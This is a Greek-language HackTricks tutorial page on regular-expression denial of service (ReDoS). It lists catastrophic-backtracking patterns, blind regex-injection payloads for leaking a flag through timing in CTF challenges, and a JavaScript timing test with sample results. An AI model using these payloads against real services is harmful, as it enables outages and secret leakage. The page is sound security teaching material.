9.1 KiB
Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων - ReDoS
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS)
Μια Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS) συμβαίνει όταν κάποιος εκμεταλλεύεται τις αδυναμίες στον τρόπο λειτουργίας των κανονικών εκφράσεων (ένας τρόπος αναζήτησης και αντιστοίχισης προτύπων σε κείμενο). Μερικές φορές, όταν χρησιμοποιούνται κανονικές εκφράσεις, μπορεί να γίνουν πολύ αργές, ειδικά αν το κομμάτι κειμένου με το οποίο δουλεύουν γίνεται μεγαλύτερο. Αυτή η αργή απόκριση μπορεί να γίνει τόσο άσχημη που αυξάνεται πολύ γρήγορα με ακόμα και μικρές αυξήσεις στο μέγεθος του κειμένου. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτό το πρόβλημα για να καταστήσουν ένα πρόγραμμα που χρησιμοποιεί κανονικές εκφράσεις να μην λειτουργεί σωστά για μεγάλο χρονικό διάστημα.
Ο Προβληματικός Αλγόριθμος Κανονικών Εκφράσεων
Ελέγξτε τις λεπτομέρειες στο https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Κακόβουλες Κανονικές Εκφράσεις
Μια κακόβουλη κανονική έκφραση είναι αυτή που μπορεί να μείνει αναπόδραστη σε συγκεκριμένη είσοδο προκαλώντας DoS. Οι κακόβουλες κανονικές εκφράσεις συνήθως περιλαμβάνουν ομαδοποίηση με επανάληψη και επανάληψη ή εναλλαγή με επικάλυψη μέσα στην επαναλαμβανόμενη ομάδα. Ορισμένα παραδείγματα κακόβουλων προτύπων περιλαμβάνουν:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} για x > 10
Όλα αυτά είναι ευάλωτα στην είσοδο aaaaaaaaaaaaaaaaaaaaaaaa!
.
Πληροφορίες Εξαγωγής μέσω ReDoS
Σε ένα CTF (ή bug bounty) ίσως έχετε έλεγχο στην Κανονική Έκφραση με την οποία ταιριάζεται μια ευαίσθητη πληροφορία (η σημαία). Στη συνέχεια, εάν είναι χρήσιμο, μπορείτε να κάνετε τη σελίδα να παγώσει (timeout ή μεγαλύτερος χρόνος επεξεργασίας) εάν η Κανονική Έκφραση ταιριάξει και όχι αν δεν ταιριάξει. Με αυτόν τον τρόπο θα μπορείτε να εξαγάγετε τον χαρακτήρα του συμβολοσειρά χαρακτήρα προς χαρακτήρα:
- Στο αυτό το άρθρο μπορείτε να βρείτε αυτόν τον κανόνα ReDoS:
^(?=<flag>)((.*)*)*salt$
- Παράδειγμα:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- Στο αυτό το writeup μπορείτε να βρείτε αυτόν:
<flag>(((((((.*)*)*)*)*)*)*)!
- Στο αυτό το writeup χρησιμοποίησε:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
Έλεγχος Εισόδου και Κανονικής Έκφρασης ReDoS
Τα παρακάτω είναι παραδείγματα ReDoS όπου έχετε έλεγχο τόσο στην είσοδο όσο και στην κανονική έκφραση:
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Εργαλεία
Αναφορές
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.